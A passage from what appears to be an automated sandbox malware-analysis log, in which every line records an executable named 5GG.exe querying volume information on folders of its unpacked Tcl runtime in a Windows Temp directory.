Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\opt0.4 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
